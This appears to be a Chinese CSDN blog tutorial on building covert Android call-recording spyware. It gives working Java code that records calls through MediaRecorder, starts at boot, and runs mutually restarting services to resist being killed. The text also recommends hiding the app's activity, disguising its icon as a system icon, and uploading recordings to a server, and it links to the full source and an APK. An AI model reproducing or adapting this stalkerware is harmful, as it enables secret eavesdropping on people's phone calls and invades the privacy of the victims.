android電話監聽實現

一、開頭先廢話下(忍耐下...)

1.今天天氣不錯,已經確定沒有其他事了,心裏很平靜,就開始總結下。發現寫總結看起來簡單,但是其實很考驗人,因爲有時會覺得沒有意義,沒有人會看,沒有人會關注。就當做自我的一個筆記,很多年看到這,就會會心一笑,這個時候的我多幼稚。可能這個就是成長吧。


2.監(qie)聽電話原理其實很簡單,就是利用android系統提供的api實現。


二、步入正題(不能囉嗦太多...)

1.首先新建一個SystemService繼承Service

2.拿到TelephoneManager的實例,調用它的listen方法

<span style="font-size:18px;">
     * Registers a listener object to receive notification of changes
     * in specified telephony states.
     * <p>
     * To register a listener, pass a {@link PhoneStateListener}
     * and specify at least one telephony state of interest in
     * the events argument.
     *
     * At registration, and when a specified telephony state
     * changes, the telephony manager invokes the appropriate
     * callback method on the listener object and passes the
     * current (udpated) values.
     * <p>
     * To unregister a listener, pass the listener object and set the
     * events argument to
     * {@link PhoneStateListener#LISTEN_NONE LISTEN_NONE} (0).
     *
     * @param listener The {@link PhoneStateListener} object to register
     *                 (or unregister)
     * @param events The telephony state(s) of interest to the listener,
     *               as a bitwise-OR combination of {@link PhoneStateListener}
     *               LISTEN_ flags.
     */
    public void listen(PhoneStateListener listener, int events) {
        String pkgForDebug = mContext != null ? mContext.getPackageName() : "<unknown>";
        try {
            Boolean notifyNow = true;
            sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);
        } catch (RemoteException ex) {
            // system process dead
        } catch (NullPointerException ex) {
            // system process dead
        }
    }</span>

這個是源碼,簡單的說就是listen方法第一個參數就是給對象註冊監聽事件,第二個參數就是你要監聽的對象內容。

3.電話有很多種狀態,在不同的狀態下寫你自己的事件(後面代碼註釋很詳細)

4.實例化一個錄音機,當通話狀態時,開始錄用,通話狀態結束時,把音頻文件在後臺上傳到服務器,實例化錄用代碼註釋很詳細。

5.如何監聽它了??這個就需要用到廣播。它的作用就是隻要用戶一開機就開始進行監聽。把我們上面的SystemService這個服務開啓起來。使用 android.intent.action.BOOT_COMPLETED這個廣播就能一開機就開始監聽。相當於用戶一開機就把服務開起來。


<span style="font-size:18px;">
 * 監聽android開機廣播(只要手機一開機就開始監聽)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>

6.採用守護線程,當你的服務OnDestroy的時候,開啓另外的一個服務,這樣除非用戶同時關掉兩個,不然不能把你的應用完全殺88死。你的應用可以死而復生。

7.MyActivity裏面設置了兩個按鈕一個開啓服務,一個關閉服務,方便學習。當然你也可以讓用戶一安裝你的應用,就看不到(直接在OnCreate這個生命週期調用finish())。然後把你的圖標換成系統圖標,這樣用戶就不敢隨便卸載。然後惡作劇就成功了....

8.記得在AndroidManifest.xml添加權限和註冊

<span style="font-size:18px;"> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
        <activity android:name="MyActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>


        <service android:name="com.andrew.systemservice.SystemService" />

        <service android:name="com.andrew.systemservice.SystemService2" />


        <receiver android:name="com.andrew.systemservice.BootReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application></span>

三、貼代碼(夠直接吧....)

1.SystemService

<span style="font-size:18px;">
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.io.File;

public class SystemService extends Service {
	// 電話管理器
	private TelephonyManager tm;
	// 監聽器對象
	private MyListener listener;
	//聲明錄音機
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	/**
	 * 服務創建的時候調用的方法
	 */
	@Override
	public void onCreate() {
		// 後臺監聽電話的呼叫狀態。
		// 得到電話管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 當電話的呼叫狀態發生變化的時候調用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
					case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
						if(mediaRecorder!=null){
							//8.停止捕獲
							mediaRecorder.stop();
							//9.釋放資源
							mediaRecorder.release();
							mediaRecorder = null;
							//TODO 這個地方你可以將錄製完畢的音頻文件上傳到服務器,這樣就可以監聽了
							Log.i("SystemService", "音頻文件錄製完畢,可以在後臺上傳到服務器");
						}

						break;
					case TelephonyManager.CALL_STATE_RINGING://零響狀態。

						break;
					case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
						//開始錄音
						//1.實例化一個錄音機
						mediaRecorder = new MediaRecorder();
						//2.指定錄音機的聲音源
						mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
						//3.設置錄製的文件輸出的格式
						mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
						//4.指定錄音文件的名稱
						File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
						mediaRecorder.setOutputFile(file.getAbsolutePath());
						//5.設置音頻的編碼
						mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
						//6.準備開始錄音
						mediaRecorder.prepare();
						//7.開始錄音
						mediaRecorder.start();
						break;
					default:
						break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	/**
	 * 服務銷燬的時候調用的方法
	 */
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消電話的監聽,採取線程守護的方法,當一個服務關閉後,開啓另外一個服務,除非你很快把兩個服務同時關閉才能完成
		Intent i = new Intent(this,SystemService2.class);
		startService(i);
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		listener = null;
	}

}
</span>

2.BootReceive
<span style="font-size:18px;">
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
 * 監聽android開機廣播(只要手機一開機就開始監聽)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>

四、完整代碼請移步下載

github下載地址:https://github.com/hongxialiu/PhoneListener

CSDN免費下載地址:http://download.csdn.net/detail/u011176685/9328861

自己做的APK只是簽名了下,下載地址:http://pan.baidu.com/s/1hqvvqOO


轉載請註明:轉自http://blog.csdn.net/u011176685/article/details/50185829

歡迎關注個人微信公衆號,專注於Android深度文章和移動前沿技術分享




發佈了35 篇原創文章 · 獲贊 6 · 訪問量 13萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章